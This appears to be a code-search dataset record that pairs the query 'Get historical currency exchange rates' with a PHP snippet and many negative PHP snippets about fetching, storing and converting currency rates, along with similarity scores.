"public function populate()\n {\n $currenciesCodes = [];\n $currencies = $this\n ->currencyRepository\n ->findAll();\n\n /**\n * Create an array of all active currency codes.\n *\n * @var CurrencyInterface $currency\n */\n foreach ($currencies as $currency) {\n if ($currency->getIso() != $this->defaultCurrency) {\n $currenciesCodes[] = $currency->getIso();\n }\n }\n\n /**\n * Get rates for all of the enabled and active currencies.\n */\n $rates = $this\n ->currencyExchangeRatesAdapter\n ->getExchangeRates(\n $this->defaultCurrency,\n $currenciesCodes\n );\n\n /**\n * @var CurrencyInterface $sourceCurrency\n */\n $sourceCurrency = $this\n ->currencyRepository\n ->findOneBy([\n 'iso' => $this->defaultCurrency,\n ]);\n\n /**\n * [\n * \"EUR\" => \"1,378278\",\n * \"YEN\" => \"0,784937\",\n * ].\n */\n foreach ($rates as $code => $rate) {\n\n /**\n * @var CurrencyInterface $targetCurrency\n */\n $targetCurrency = $this\n ->currencyRepository\n ->findOneBy([\n 'iso' => $code,\n ]);\n\n if (!($targetCurrency instanceof CurrencyInterface)) {\n continue;\n }\n\n /**\n * check if this is a new exchange rate, or if we have to\n * create a new one.\n */\n $exchangeRate = $this\n ->currencyExchangeRateObjectDirector\n ->findOneBy([\n 'sourceCurrency' => $sourceCurrency,\n 'targetCurrency' => $targetCurrency,\n ]);\n\n if (!($exchangeRate instanceof CurrencyExchangeRateInterface)) {\n $exchangeRate = $this\n ->currencyExchangeRateObjectDirector\n ->create();\n }\n\n $exchangeRate\n ->setExchangeRate($rate)\n ->setSourceCurrency($sourceCurrency)\n ->setTargetCurrency($targetCurrency);\n\n $this\n ->currencyExchangeRateObjectDirector\n ->save($exchangeRate);\n }\n\n return $this;\n }",
"abstract protected function getSupportedCurrencies();",
"public function testRetrieveExchangeRates()\n {\n\n // Set callback and perform API call\n $result = null;\n self::$controller->setHttpCallBack($this->httpResponse);\n try {\n $result = self::$controller->getExchangeRates();\n } catch (APIException $e) {\n }\n\n // Test response code\n $this->assertEquals(\n 200,\n $this->httpResponse->getResponse()->getStatusCode(),\n \"Status is not 200\"\n );\n\n // Test whether the captured response is as we expected\n $this->assertNotNull($result, \"Result does not exist\");\n\n $this->assertTrue(\n TestHelper::isJsonObjectProperSubsetOf(\n \"{\\n\t\\\"disclaimer\\\": \\\"Exchange rates are provided here for reference. They are updated at least once\" .\n \" a day and may have changed by time of order.\\\",\\n\t\\\"exchangeRates\\\": [{\\n\t\t\\\"lastModifiedDate\\\": \\\"\" .\n \"2018-04-19T13:00:14.291\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"EUR\\\",\\n\t\t\\\"baseCurrency\\\": \\\"NZD\\\",\\n\t\t\\\"baseFx\" .\n \"\\\": 0.59120\\n\t}, {\\n\t\t\\\"lastModifiedDate\\\": \\\"2018-04-19T13:00:14.291\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"US\" .\n \"D\\\",\\n\t\t\\\"baseCurrency\\\": \\\"NZD\\\",\\n\t\t\\\"baseFx\\\": 0.73130\\n\t}, {\\n\t\t\\\"lastModifiedDate\\\": \\\"2018-04-\" .\n \"19T13:00:14.230\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"INR\\\",\\n\t\t\\\"baseCurrency\\\": \\\"AUD\\\",\\n\t\t\\\"baseFx\\\": 51.2\" .\n \"9066\\n\t}]\\n}\",\n $this->httpResponse->getResponse()->getRawBody(),\n false,\n true,\n false\n ),\n \"Response body does not match in keys\"\n );\n }",
"public static function getInfoForCurrenciesWithHistoricalCode(): array\n {\n if (null !== self::$currenciesHistorical) {\n self::$currenciesHistorical;\n }\n\n return self::$currenciesHistorical = self::loadCurrenciesDefinition('historical');\n }",
"public static function getRates() : array\n {\n return self::$rates;\n }",
"public function getExchangeRateCollection(Context $context)\n {\n $base_currency_code = $this->getBaseCurrency($context)->iso_code;\n $currencies = $this->getCurrencies($context, true);\n $exchange_rates = array();\n foreach ($currencies as $currency) {\n // Skip base currencyCode.\n if (\n $currency['iso_code'] === $base_currency_code\n || $currency['deleted'] == 1\n ) {\n continue;\n }\n \n $exchange_rates[] = new NostoExchangeRate(\n $currency['iso_code'],\n $currency['iso_code'],\n $currency['conversion_rate']\n );\n }\n\n $rates = new NostoTaggingCollectionExchangeRates($exchange_rates);\n return $rates;\n }",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getAllCurrenciesToParse() {\n $currencies = $this->database->queryToSelect(\n \"SELECT cryptocurrency_info.id AS info_id, cryptocurrency_info.value_to_usd, cryptocurrency_info.value_to_btc, cryptocurrency_info.currency_symbol, all_cryptocurrency.id AS currency_id, all_cryptocurrency.name AS currency_name, all_cryptocurrency.code AS currency_code, burse.id AS burse_id, burse.name AS burse_name, burse.code AS burse_code\n FROM cryptocurrency_info\n LEFT JOIN all_cryptocurrency ON cryptocurrency_info.currency_id = all_cryptocurrency.id\n LEFT JOIN burse ON cryptocurrency_info.burse_id = burse.id\"\n );\n $currencies_to_parse = [];\n foreach ($currencies as $currency) {\n $currencies_to_parse[$currency['burse_code']][$currency['currency_symbol']] = $currency;\n }\n return $currencies_to_parse;\n }",
"public function getExchangeRate()\n\t{\n\t\treturn $this->exchangeRate; \n\n\t}",
"public function testGetExchangeRates()\n {\n $result = $this->currencyAPIService->getExchangeRates();\n $this->assertIsArray($result);\n $this->assertArrayHasKey('content', $result);\n $this->assertTrue($result['status']);\n $this->assertJson($result['content']);\n $content = json_decode($result['content'], true);\n $this->assertArrayHasKey('rates', $content);\n }",
"public function getCurrenciesAction()\n {\n $repository = Shopware()->Models()->getRepository('Shopware\\Models\\Shop\\Currency');\n\n $builder = $repository->createQueryBuilder('c');\n $builder->select(\n [\n 'c.id as id',\n 'c.name as name',\n 'c.currency as currency',\n 'c.symbol as symbol',\n 'c.factor as factor',\n 'c.default as default'\n ]\n );\n\n $query = $builder->getQuery();\n\n $total = Shopware()->Models()->getQueryCount($query);\n\n $data = $query->getArrayResult();\n\n $this->View()->assign(\n [\n 'success' => true,\n 'data' => $data,\n 'total' => $total\n ]\n );\n }",
"public function getExchangeRate($from, $to) {\n if ($this->exchangeRates === null) {\n // First try to load exchange reates from the table\n $res = xf_db_query(\"select * from stripe_exchange_rates where last_updated > (CURDATE() - INTERVAL 1 DAY)\", df_db());\n $rates = [];\n while ($o = xf_db_fetch_object($res)) {\n $rates[$o->base_currency.':'.$o->target_currency] = floatval($o->conversion);\n }\n xf_db_free_result($res);\n if (count($rates) === 0) {\n // If the table was empty, use this API to fetch exchange rates.\n $rates = $this->loadExchangeRatesFromAPI($from, 'https://api.exchangeratesapi.io/latest?base='.urlencode(strtoupper($from)));\n }\n \n $this->exchangeRates = $rates;\n }\n \n if (!@$this->exchangeRates[$from.':'.$to]) {\n // We don't have this specific exchange rate.\n // Fetch this specific pair from the API\n $this->loadExchangeRatesFromAPI($from, 'https://api.exchangeratesapi.io/latest?base='.urlencode(strtoupper($from)).'&symbols='.urlencode(strtoupper($to)));\n }\n \n if (!@$this->exchangeRates or !$this->exchangeRates[$from.':'.$to]) {\n \n throw new Exception(\"Failed to get exchange rate from \".$from.\" to \".$to);\n }\n return $this->exchangeRates[$from.':'.$to];\n }",
"function getCurrency()\r\n\t{\r\n\t\treturn $this->call_API('getCurrency');\r\n\t}",
"public function getCurrencies()\n {\n return $this->hasMany(Currency::className(), ['ap_gl_acc_id' => 'account_id']);\n }",
"function GetBaseCurrency()\n\t{\n\t\t$result = $this->sendRequest(\"GetBaseCurrency\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}",
"function GetDB_CurrencyList($order_asc = false) {\n $query = \"SELECT * FROM conversion_rates \".(($order_asc) ? \"ORDER BY currency ASC\" : \"\").\";\";\n $result = $GLOBALS['conn']->query($query);\n $rows = [];\n while($row = mysqli_fetch_array($result)) {\n $rows[] = $row;\n }\n return $rows;\n }",
"public function getFxRates()\n {\n return array_map(function (stdClass $object) {\n return FxRate::createFromObject($object);\n }, $this->getEndpoint('GetFxRates'));\n }",
"protected function loadRates() {\n\t\t$query = array(\n\t\t\t'$or' => array(\n\t\t\t\tarray(\n\t\t\t\t\t'params.serving_networks' => array(\n\t\t\t\t\t\t'$exists' => true,\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'key' => 'UNRATED',\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t\t$rates_coll = Billrun_Factory::db()->ratesCollection();\n\t\t$rates = $rates_coll->query($query)->cursor()->setReadPreference(Billrun_Factory::config()->getConfigValue('read_only_db_pref'));\n\t\tforeach ($rates as $rate) {\n\t\t\t$rate->collection($rates_coll);\n\t\t\tif (is_array($rate['params']['serving_networks'])) {\n\t\t\t\tforeach ($rate['params']['serving_networks'] as $serving_network) {\n\t\t\t\t\t$this->rates['by_names'][$serving_network][] = $rate;\n\t\t\t\t}\n\t\t\t} else if (is_string($rate['params']['serving_networks'])) {\n\t\t\t\t$this->rates['by_regex'][$rate['params']['serving_networks']][] = $rate;\n\t\t\t} else if ($rate['key'] == 'UNRATED') {\n\t\t\t\t$this->rates['UNRATED'] = $rate;\n\t\t\t}\n\t\t}\n\t}",
"function GetOurCurrency()\n\t{\n\t\t$result = $this->sendRequest(\"GetOurCurrency\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}",
"public function fetchRates($currency1, $currency2, Logger $logger);",
"public function returnCurrencies(): array\n {\n $currencies = [];\n foreach ($this->request('returnCurrencies') as $key => $response) {\n /* @var $currency Currency */\n $currencies[$key] = $this->factory(Currency::class, $response);\n }\n\n return $currencies;\n }",
"function UpdateExchangeRatesDB() {\n $time_now = TIMESTAMP_NOW;\n $rates = GetExchangeRateAPI();\n\n foreach ($rates[\"rates\"] as $currency => $rate) {\n // If exists, update rates of each currency\n // Otherwise, add new entry and set base\n if (CheckIfCurrencyExists($currency)) {\n $query = \"UPDATE conversion_rates SET rate='$rate', updated_at='$time_now' WHERE currency='$currency';\";\n } else {\n $query = \"INSERT INTO conversion_rates (currency, rate, created_at, updated_at) VALUES ('$currency', '$rate', '$time_now', '$time_now')\";\n }\n $GLOBALS['conn']->query($query);\n\n // Set base currency flag\n $base_rate = $rates['base'];\n $query = \"UPDATE conversion_rates SET is_base=true WHERE currency='$base_rate'\";\n $GLOBALS['conn']->query($query);\n }\n }",
"public function getRates()\n {\n $this->uri = \"/?section=shipping&action=getRates\";\n \n return $this->send();\n }",
"public function getCurrency();",
"public function getCurrency();",
"public function getRates($currencies, \\DateTime $date = null)\n {\n if ($date === null) {\n $date = new \\DateTime('now');\n }\n\n $client = new \\SoapClient(\"http://www.cbr.ru/DailyInfoWebServ/DailyInfo.asmx?WSDL\");\n $curs = $client->GetCursOnDate(array(\"On_date\" => $date->format('Y-m-d')));\n $ratesXml = new \\SimpleXMLElement($curs->GetCursOnDateResult->any);\n\n $result = array();\n foreach ($currencies as $currency) {\n $rateCbr = $ratesXml->xpath('ValuteData/ValuteCursOnDate/VchCode[.=\"'.$currency->getCode().'\"]/parent::*');\n if (empty($rateCbr)) {\n continue;\n }\n\n $rate = $this->currencyRateManager->getNewInstance(\n $this->currencyManager->getCurrency($currency->getCode()),\n $this,\n $date,\n (float)$rateCbr[0]->Vcurs,\n (int)$rateCbr[0]->Vnom\n );\n\n $result[$currency->getCode()] = $rate;\n }\n return $result;\n }",
"public function getCurrencyRates($currency, $toCurrencies = null)\n {\n if ($currency instanceof Mage_Directory_Model_Currency) {\n $currency = $currency->getCode();\n }\n $data = $this->_getResource()->getCurrencyRates($currency, $toCurrencies);\n return $data;\n }",
"private function getExchangeRates() {\n$values=array();\n$exchangeRateXML=simplexml_load_file($this->xml);\n\n // Increased the DECIMAL(precision, scale) in create.sql to handle weaker currencies, such as the VND\n foreach ($exchangeRateXML->conversion as $conversion) {\n $values[]='(\"' . (string)$conversion->currency . '\", ' . (float)$conversion->rate . ')';\n}\n\n// TO DO: Write ON DUPLICATE KEY UPDATE statement to prevent duplicating rows each time query is performed.\n$this->mysqli->query('INSERT INTO currencyrates (currencyType, currencyRate) VALUES ' . implode(',', $values));\n}",
"public function testGetRates()\n {\n $response = [\n 'disclaimer' => 'https://openexchangerates.org/terms/',\n 'license' => 'https://openexchangerates.org/license/',\n 'timestamp' => 1449877801,\n 'base' => 'USD',\n 'rates' => [\n 'EUR' => 0.935485,\n 'AFN' => 66.809999,\n 'ALL' => 125.716501,\n 'AMD' => 484.902502,\n 'ANG' => 1.788575,\n 'AOA' => 135.295998,\n 'ARS' => 9.750101,\n 'AUD' => 1.390866\n ]\n ];\n $response_json = json_encode($response);\n $mock = new MockHandler([\n new Response(200, [], $response_json)\n ]);\n $handler = HandlerStack::create($mock);\n $client = new Client(['handler' => $handler]);\n\n $driver = new OpenExchangeRatesDriver(\n $client,\n 'http://openexchangerates.org/api/latest.json'\n );\n $data = $driver->getRates();\n $this->assertEquals($data, $response['rates']);\n }",
"public function getCurrenciesAction()\n {\n $em = $this->getDoctrine()->getManager();\n $currencies = $em->getRepository('ApiBundle:Currency')->findAll();\n $view = $this->view($currencies);\n return $this->handleView($view);\n }",
"public function getCurrencies0()\n {\n return $this->hasMany(Currency::className(), ['ap_disc_gl_acc_id' => 'account_id']);\n }",
"public function index()\n {\n return Currency::all();\n }",
"public function getAllCurrencies()\n {\n $currencies = $this->repository->supplemental['codeMappings'];\n $datas = array();\n foreach (array_keys($currencies) as $currency_code) {\n if ($currency_code === 'XTS' || strlen($currency_code) !== 3) {\n continue;\n }\n $currency = $this->getCurrency($currency_code);\n $datas[] = array(\n 'name' => ucfirst($currency['name']).' ('.$currency_code.')',\n 'code' => $currency_code,\n 'iso_code' => $currency['iso_code']\n );\n }\n\n //sort array naturally\n uasort($datas, function ($x, $y) {\n return strnatcmp($x[\"name\"], $y[\"name\"]);\n });\n\n return $datas;\n }",
"public function run()\n {\n $currenciy_exchange_rates =[\n ['from_currency_id' => '1', 'from_value' => '1', 'to_currency_id'=> '2', 'to_value' => '0.01225', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n ['from_currency_id' => '1', 'from_value' => '1', 'to_currency_id'=> '3', 'to_value' => '80.35000', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n ['from_currency_id' => '2', 'from_value' => '1', 'to_currency_id'=> '1', 'to_value' => '59.26065', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n ['from_currency_id' => '2', 'from_value' => '1', 'to_currency_id'=> '3', 'to_value' => '8057.23000', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n ['from_currency_id' => '3', 'from_value' => '1', 'to_currency_id'=> '1', 'to_value' => '0.01245', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n ['from_currency_id' => '3', 'from_value' => '1', 'to_currency_id'=> '2', 'to_value' => '0.00012', 'created_at' => new DateTime(), 'updated_at' => new DateTime()],\n\n ];\n\n DB::table('currency_exchange_rates')->insert($currenciy_exchange_rates);\n }",
"public function getCurrencies7()\n {\n return $this->hasMany(Currency::className(), ['exchg_gl_acc_id' => 'account_id']);\n }",
"private function returnCurrencyXML(){\n\t\t\n\t\t// ****************** POSSIBLE SECURITY RISK!!!! *********************\n\t // Get xml of currency exchange rates\n\t $XML=simplexml_load_file(\"http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml\");\n\t //the file is updated daily between 2.15 p.m. and 3.00 p.m. CET\n\t\t\n\t\t// check it is XML\n\t\tif($XML === false){\n\t\t\t$this->error = \"ERROR - there was an error parsing the XML from the provider\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn $XML;\n\t}"
]
| [
"0.7605984",
"0.7440139",
"0.7386853",
"0.72667754",
"0.72313994",
"0.7187648",
"0.7178278",
"0.71538246",
"0.7103184",
"0.7085084",
"0.6944542",
"0.69361323",
"0.69309586",
"0.687047",
"0.68587995",
"0.6853723",
"0.68249226",
"0.68157357",
"0.678821",
"0.67325777",
"0.67260236",
"0.66829735",
"0.6666054",
"0.66459244",
"0.6642798",
"0.6634376",
"0.6606003",
"0.6594102",
"0.6585405",
"0.6580725",
"0.6578437",
"0.65578324",
"0.6551483",
"0.6550001",
"0.65125954",
"0.6458845",
"0.64548653",
"0.64370614",
"0.6406555",
"0.6378775",
"0.63771296",
"0.63679445",
"0.6367185",
"0.6363187",
"0.6300144",
"0.6283478",
"0.62771684",
"0.62735915",
"0.6269685",
"0.626688",
"0.62500894",
"0.6237038",
"0.6234482",
"0.6232702",
"0.6227626",
"0.6226629",
"0.6219131",
"0.6211917",
"0.6206362",
"0.6197869",
"0.6171897",
"0.6163104",
"0.61591065",
"0.6149488",
"0.6149468",
"0.613867",
"0.61319035",
"0.6121111",
"0.6106332",
"0.6104989",
"0.6104989",
"0.6104989",
"0.6071659",
"0.60513496",
"0.60339326",
"0.60289615",
"0.60243636",
"0.60130626",
"0.6002922",
"0.59874904",
"0.5974753",
"0.5955264",
"0.59481096",
"0.5936283",
"0.5926459",
"0.5918197",
"0.5908725",
"0.59027225",
"0.5899147",
"0.5899147",
"0.5862534",
"0.5842924",
"0.58282214",
"0.5811675",
"0.5801176",
"0.57865924",
"0.57687813",
"0.5752577",
"0.5742239",
"0.57328546",
"0.5721342"
]
| 0.0 | -1 |
Get historical currency exchange rates. | protected function query($date, $base, array $targets)
{
$url = self::URL . $date;
$query = [];
if ($base != 'EUR') {
$query['base'] = $base;
}
// add symbols to query string
if (!empty($targets)) {
$query['symbols'] = implode(',', $targets);
}
$response = $this->fetchJson($url, $query, true);
if (isset($response['rates']) && is_array($response['rates']) &&
isset($response['base']) && isset($response['date'])) {
return new CurrencyRate(
$response['base'],
new DateTime($response['date']),
$response['rates']
);
} elseif (isset($response['error'])) {
throw new \Exception($response['error']);
} else {
throw new \Exception('Response body is malformed.');
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"private function getExchangeRates()\n\t{\n\t\t$date = $this->getDate()->format('d.m.Y');\n\t\t$locale = $this->getLocale();\n\t\t$cacheKey = $date . '-' . $locale;\n\n\t\t// Check the cache\n\t\tif (isset($this->cache[$cacheKey])) {\n\t\t\treturn $this->cache[$cacheKey];\n\t\t}\n\n\t\t$response = $this->requestRemoteServer($date, $locale);\n\t\tif (!$response) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$rates = $this->parseRatesFromResponse($response);\n\t\tif (empty($rates)) {\n\t\t\treturn [];\n\t\t}\n\n\t\treturn $this->cache[$cacheKey] = $rates;\n\t}",
"public function getCurrencyRates()\n {\n return $this->curlCall();\n }",
"public function getExchangeRates(): array\n {\n $out = $this->request('getExchangeRates');\n return $out['result'];\n }",
"public function getUseExchangeRates();",
"public function listCurrenciesWithExchangeRate()\n {\n $service_response = $this->exchange_service\n ->getCurrenciesWithExchangeRate(\n auth()->user(),\n );\n return $service_response->success\n ? Responser::send(200, $service_response->data, $service_response->message)\n : Responser::sendError(400, $service_response->message, $service_response->message);\n }",
"function getExchangeRate($currency);",
"public static function getRates() {\n $result = self::get(self::getPath('rates'));\n \n Return $result;\n }",
"public static function getInfoForCurrenciesWithHistoricalCode(): array\n {\n if (null !== self::$currenciesHistorical) {\n self::$currenciesHistorical;\n }\n\n return self::$currenciesHistorical = self::loadCurrenciesDefinition('historical');\n }",
"public function getRates()\n {\n return (new Rates)->fetchRates(); \n }",
"public function getExchangeRate();",
"public function getRates()\n {\n # Convert the rates to a key / value array:\n return json_decode( json_encode($this->rates), true );\n }",
"public function getExchangeRates(string $base = CurrencyCode::POUND_STERLING, array $currencies = [], ?Carbon $timestamp = null): Collection\n {\n $appId = $this->config->get('services.oxr.appId');\n\n $endpoint = $timestamp->isCurrentDay() ?\n 'latest.json' :\n \"historical/{$timestamp->format('Y-m-d')}.json\";\n\n $params = [\n 'app_id' => $appId,\n 'base' => $base,\n ];\n\n if ($currencies) {\n $params['symbols'] = implode(',', $currencies);\n }\n\n $query = http_build_query($params);\n\n $response = $this->client->get(\"{$endpoint}?{$query}\");\n $json = Utils::jsonDecode($response->getBody()->getContents(), true);\n $timestamp = Carbon::createFromTimestamp($json['timestamp']);\n $rates = $json['rates'];\n\n $exchangeRates = new Collection();\n\n foreach ($rates as $currency => $rate) {\n $exchangeRate = new ExchangeRate(compact('base', 'currency', 'rate', 'timestamp'));\n\n $exchangeRates->push($exchangeRate);\n }\n\n return $exchangeRates;\n }",
"public function getAll()\n\t{\n\t\tif (!$this->isAssocResult()) {\n\t\t\treturn array_values($this->getExchangeRates());\n\t\t}\n\n\t\t$assocClosure = $this->getAssocClosure();\n\n\t\t$results = [];\n\t\tforeach ($this->getExchangeRates() as $rate) {\n\t\t\t$results[$assocClosure($rate)] = $rate;\n\t\t}\n\n\t\treturn $results;\n\t}",
"public function getCurrencies() {\n\n $currencies= array();\n $date = '';\n \n $client = \\Drupal::httpClient();\n $request = $client->get(self::LESSON3_RATES_SERVICE);\n $responseXML = $request->getBody();\n\n\n if (!empty($request) && isset($responseXML)) {\n\n $data = new \\SimpleXMLElement($responseXML);\n foreach ($data->Currency as $value) {\n $currencies[] = array(\n 'CharCode' => (string)$value->CharCode,\n 'Name' => (string)$value->Name,\n 'Rate' => (string)$value->Rate,\n );\n }\n\n foreach ($data->attributes() as $key => $val) {\n $date .= (string) $val;\n }\n \n \\Drupal::configFactory()\n ->getEditable('lesson3.settings')\n ->set('lesson3.currencies', $currencies)\n ->set('lesson3.date', $date)\n ->save();\n } \n\n return $currencies;\n }",
"public function get_rates() {\n\t\t$rates = self::make_api_call( 'rates' );\n\t\tif ( 'ok' === $rates['error'] ) {\n\t\t\treturn $rates['result'];\n\t\t}\n\t\treturn array();\n\t}",
"public function getExchangeRate()\n {\n foreach ([$this->baseCurrencySymbol, $this->quoteCurrencySymbol] as $currencySymbol) {\n if (!Currency::isCurrencyBySymbolExists($currencySymbol)) {\n throw new \\Exception('Wrong currencies.');\n }\n }\n\n $exchangeRate = CurrencyPairExchangeRate::getExchangeRateBySymbols(\n $this->baseCurrencySymbol,\n $this->quoteCurrencySymbol\n );\n\n if ($exchangeRate === null) {\n throw new \\Exception('Exchange rate for those currencies does not exists.');\n }\n\n return $exchangeRate;\n }",
"function getRates($currencies){\n $response=array();\n $json = file_get_contents('https://blockchain.info/ticker');\n $result = json_decode($json, true);\n foreach ($currencies as $currency) {\n $response[$currency]=$result[$currency]['last'];\n }\n return $response;\n}",
"public function getUseCurrencyExchangeRates()\n {\n return $this->_useCurrencyExchangeRates;\n }",
"function GetCurrencies()\n\t{\n\t\t$result = $this->sendRequest(\"GetCurrencies\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}",
"public function fetchRates()\n {\n $res = $this->_fetch($this->_cfg['ratesUri']);\n\n return $res;\n }",
"public static function getUSDCurrencyExchangeRates()\n { \n $ch = curl_init(_URL_YAHOOAPI);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\n $html = curl_exec($ch);\n curl_close($ch);\n \n return json_decode($html);\n }",
"public function GetRates()\n\t{\n\t\treturn $this->rates;\n\t}",
"public static function getRates()\n {\n $config = $GLOBALS['config'];\n if (!isset($config['rates'])) {\n throw new \\OutOfRangeException(\n 'Please specify currency conversation rates!',\n 1\n );\n }\n\n return $config['rates'];\n }",
"public function exchange_rates()\n {\n $exchangeRates = ExchangeRates::with('Currencies:name')->get();\n return view('setup.exchange_rates.index', compact('exchangeRates'));\n }",
"public function getRates()\n {\n return $this->_rates;\n }",
"public function getExchangeRates()\n {\n return Controllers\\ExchangeRatesController::getInstance();\n }",
"public static function getRates() : array\n {\n return self::$rates;\n }",
"abstract public function getExchangeRate($fromCurrency, $toCurrency);",
"public function getFxRates()\n {\n return array_map(function (stdClass $object) {\n return FxRate::createFromObject($object);\n }, $this->getEndpoint('GetFxRates'));\n }",
"private function loadExchangeRatesFromAPI($baseCurrency, $url) {\n $res = file_get_contents($url);\n if ($res) {\n $data = json_decode($res, true);\n if (is_array($data) and @$data['rates']) {\n import('xf/db/Database.php');\n $db = new xf\\db\\Database(df_db());\n foreach ($data['rates'] as $target => $conversion) {\n $db->query(\"replace into stripe_exchange_rates (base_currency, target_currency, conversion, last_updated) VALUES (:from, :to, :conversion, NOW())\", (object)[\n 'from' => $baseCurrency,\n 'to' => $target,\n 'conversion' => $conversion\n ]);\n \n $this->exchangeRates[$baseCurrency.':'.$target] = floatval($conversion);\n }\n }\n }\n return $this->exchangeRates;\n }",
"public function getAllRates()\n {\n return $this->getRatesQuery()->execute();\n }",
"public function getExchangeRate($from, $to) {\n if ($this->exchangeRates === null) {\n // First try to load exchange reates from the table\n $res = xf_db_query(\"select * from stripe_exchange_rates where last_updated > (CURDATE() - INTERVAL 1 DAY)\", df_db());\n $rates = [];\n while ($o = xf_db_fetch_object($res)) {\n $rates[$o->base_currency.':'.$o->target_currency] = floatval($o->conversion);\n }\n xf_db_free_result($res);\n if (count($rates) === 0) {\n // If the table was empty, use this API to fetch exchange rates.\n $rates = $this->loadExchangeRatesFromAPI($from, 'https://api.exchangeratesapi.io/latest?base='.urlencode(strtoupper($from)));\n }\n \n $this->exchangeRates = $rates;\n }\n \n if (!@$this->exchangeRates[$from.':'.$to]) {\n // We don't have this specific exchange rate.\n // Fetch this specific pair from the API\n $this->loadExchangeRatesFromAPI($from, 'https://api.exchangeratesapi.io/latest?base='.urlencode(strtoupper($from)).'&symbols='.urlencode(strtoupper($to)));\n }\n \n if (!@$this->exchangeRates or !$this->exchangeRates[$from.':'.$to]) {\n \n throw new Exception(\"Failed to get exchange rate from \".$from.\" to \".$to);\n }\n return $this->exchangeRates[$from.':'.$to];\n }",
"public function get_rates(){\n\n \n $endpoint = 'live';\n $access_key = '6b976c41ce198b8b5d28f7890bd447f9';\n // Initialize CURL:\n $ch = curl_init('http://apilayer.net/api/'.$endpoint.'?access_key='.$access_key.'');\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n // Store the data:\n $json = curl_exec($ch);\n curl_close($ch);\n\n // Decode JSON response:\n $exchangeRates = json_decode($json, true);\n \n #calculate the inverse rates \n\n #calculate ZAR -> USD Rate \n $zar_usd = 1 / $exchangeRates['quotes']['USDZAR'];\n # ZAR -> GBP\n $gbp_usd = (1 / $exchangeRates['quotes']['USDGBP']);\n $zar_gdp = $zar_usd / $gbp_usd;\n #ZAR->EUR\n $eur_usd = (1 / $exchangeRates['quotes']['USDEUR']);\n $zar_eur = $zar_usd / $eur_usd;\n #ZAR->KES\n $kes_usd = (1 / $exchangeRates['quotes']['USDKES']);\n $zar_kes = $zar_usd / $kes_usd;\n\n \n $updated_rates = array(\n array(\n 'er_id' => 1 , // ZAR -> GBP\n 'er_rate' => $zar_gdp \n ),\n array(\n 'er_id' => 2 , // ZAR -> EUR\n 'er_rate' => $zar_eur\n ),\n array(\n 'er_id' => 3 , // ZAR -> EUR\n 'er_rate' => $zar_kes\n ),\n array(\n 'er_id' => 4 , // ZAR -> EUR\n 'er_rate' => $zar_usd\n )\n );\n \n #batch update db\n $this->ExchangeRate->update_rates($updated_rates);\n\n echo \"Your exchange rates have been successfully updated\";\n\n // else do some exception handling here\n }",
"function GetExchangeRateAPI() {\n $conditions = '?base=JPY';\n $request = EXCHANGE_RATE_API_URL.$conditions;\n $response = file_get_contents($request);\n\n return json_decode($response, true);\n }",
"public function getCurrencies();",
"public function getExchangeRate()\n {\n return $this->exchange_rate;\n }",
"private function getCurrencyExchangeRates(){\n\t\t\n\t\t//function needs ini to allow_url_fopen\n\t\tif(!ini_get('allow_url_fopen')){\n\t\t\t$this->error = \"ERROR - PHP.ini needs allow_url_fopen set to on\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$XML = $this->returnCurrencyXML()){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$this->createCurrencyArray($XML)){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!isSet($this->currencyRates) || empty($this->currencyRates)){\n\t\t\t$this->error = \"ERROR - there was an error converting the XML data\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn true;\n\t\t\n\t}",
"public function getExchangeRate()\n {\n if (null !== $this->cache) {\n if ($exchangeRate = $this->cache->fetch($this->getCacheKey())) {\n\n return $exchangeRate;\n }\n }\n\n $exchangeRate = parent::getExchangeRate();\n\n if (null !== $this->cache) {\n $this->cache->save($this->getCacheKey(), $exchangeRate, 24 * 60 * 60);\n }\n\n return $exchangeRate;\n }",
"public function getRate(Currency $currency);",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getExchangeRate()\n {\n return $this->exchangeRate;\n }",
"public function getCurrencies() {\n return $this->public([\n 'command' => 'returnCurrencies',\n ]);\n }",
"public function getExchangeRate()\n\t{\n\t\treturn $this->exchangeRate; \n\n\t}",
"function getTickersForCurrency($currency) {\n \n $this->requestUrl = $this->makeUrl('ticker/' . $currency);\n \n return $this->getData();\n }",
"function cjpopups_get_exchange_rate($from = 'USD', $to = 'INR'){\n\t$exchange_rate_data = wp_remote_get('http://rate-exchange.appspot.com/currency?from='.$from.'&to='.$to);\n\tif(!is_wp_error( $exchange_rate_data )){\n\t\t$return = json_decode($exchange_rate_data['body']);\n\t\treturn $return->rate;\n\t}else{\n\t\treturn 62;\n\t}\n}",
"public function getCurrentCurrencyRate() {\r\n\t\treturn $this->_storeManager->getStore()->getCurrentCurrencyRate();\r\n\t}",
"public function getCurrencies ()\n\t{\n\t\treturn $this->call ('public/getcurrencies');\n\t}",
